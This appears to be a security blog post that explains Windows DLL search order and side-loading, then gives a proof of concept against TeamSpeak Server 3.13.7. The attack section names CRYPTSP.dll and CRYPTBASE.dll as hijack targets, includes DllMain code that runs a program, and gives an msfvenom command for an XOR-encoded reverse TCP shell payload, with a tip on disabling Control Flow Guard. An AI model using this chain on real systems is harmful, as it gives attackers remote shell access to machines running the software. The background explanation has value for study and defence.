What is DLL?
In Microsoft Windows, much of the functionality of both the operating system (OS) and third-party applications are provided by Dynamic Link Library (DLL) binaries. DLL files are Microsoft’s interpretation of the shared library concept. Instead of shipping all libraries (and libraries they are dependent on – and their dependencies – and so on) for each application, libraries are stored in a shared location, dynamically located, and loaded as needed.
When an executable needs to call a function from a library, it asks the OS to load that library into memory, typically by specifying the library name (without a full path). This locates the dynamic library and loads it into the address space of the calling process. There are a few different locations where these libraries can be located, and the OS will loop through all of them in a specific order until it can find the requested file. [1]
Search Order
The DLL search order dictates the sequence in which Windows operating systems locate and load dynamic link libraries into memory when a program or application requests them. This process begins with the knownDLL list, which includes commonly used system DLLs. If the required DLL is not found in this list, the search continues in the application’s folder, followed by the system directory, 16- bit system directory (on 32-bit systems), and the Windows directory. Additionally, the current working directory and paths specified in the system’s PATH environment variable are checked. This hierarchical search order ensures that the operating system locates and loads the necessary DLLs efficiently, prioritizing system integrity and application functionality.
When we execute a program the system searches for the required DLL, first it checks if the DLL is loaded in the memory or if it is in the knownDLLs list.
You can see all the known DLLs in the following path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Since these factors (Loaded DLLs in memory and KnownDLLs) are typically beyond the control of the attackers, this section is generally safe from threat actors.
DLL Side Loading
In Microsoft Windows, programs can define which libraries are loaded at runtime by specifying a full path or using another mechanism such as a manifest. A program manifest is an external file or embedded resource within an application used to manage the names and versions of shared side-by-side assemblies to which the application should load upon execution. A program manifest can include DLL redirections, filenames or full paths. Referencing a library by solely its filename, is considered a weak reference and is vulnerable to a DLL side-loading attack.
When a weak reference is made to a library, Windows attempts to locate the DLL through a pre-defined search order. The first location that Windows will search is the directory from which the application is loaded.
A DLL side-loading attack is an adversarial technique that aims to take advantage of weak library references and the default Windows search order by hijacking the DLL search order. This attack places a malicious DLL file as early as possible in the list with the aim to get it loaded by the legitimate program. [2]
DLL Side Loading with TeamSpeak Server (POC) {0day}
Tools we need:
- Process monitor (Sysinternals Suite)
- Visual Studio
TeamSpeak Server (latest version):
SERVER 64-BIT 3.13.7
SHA256: 605af411794f10530657153d91a47e32664a2b365d528848a5fa7b0874ac7572
Finding missing DLLs
First of all, we need to find out if there is a DLL file (or files) that are missing when we execute our program, so we can replace them with our malicious DLL. For this process we will use the procmon from sysinternals.
Filters for process monitor:
- Process name is ts3server.exe
- Results contains NAME NOT FOUND
- Path ends with dll
- Operation is CreateFile
We only see the missing dll files in the output.
To gain a deeper understanding of the search order, we revisited Procmon and adjusted the filters to exclude “Result is NAME NOT FOUND.” In order to locate a DLL, the application follows a specific sequence. It begins by checking the current directory for the dpghelp.dll. If the DLL is not found there, the search continues in the C:\Windows\System32 directory. In this instance, the search successfully locates the required dpghelp.dll in the System32 directory.
As we can see in the screenshot above, some DLLs are missing from the current directory.
The first thing that we’ve tried is to craft a simple .dll file that executes the calculator.
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
WinExec(“calc.exe”, 0);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Our first attempt was with the dbghelp.dll but I got the following error message:
Windows Error Code 0xc000007b: This error typically means that a 32-bit application is trying to interact with 64-bit system.
System DLLs: CRYPTBASE.dll and CRYPTSP.dll are part of the Windows operating system and provide various cryptographic services.
After few tries the DLLs that works for our case are CRYPTSP.dll and CRYPTBASE.dll
POC
Our next step is to generate a payload via msfvemon with xor-dynamic encryption and modify me .dll file to execute the payload.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f c –encoder x64/xor_dynamic
Make sure that when you compile the .dll in visual studio disable the Flow Guard
Real-Time Protection 🛡️ ON
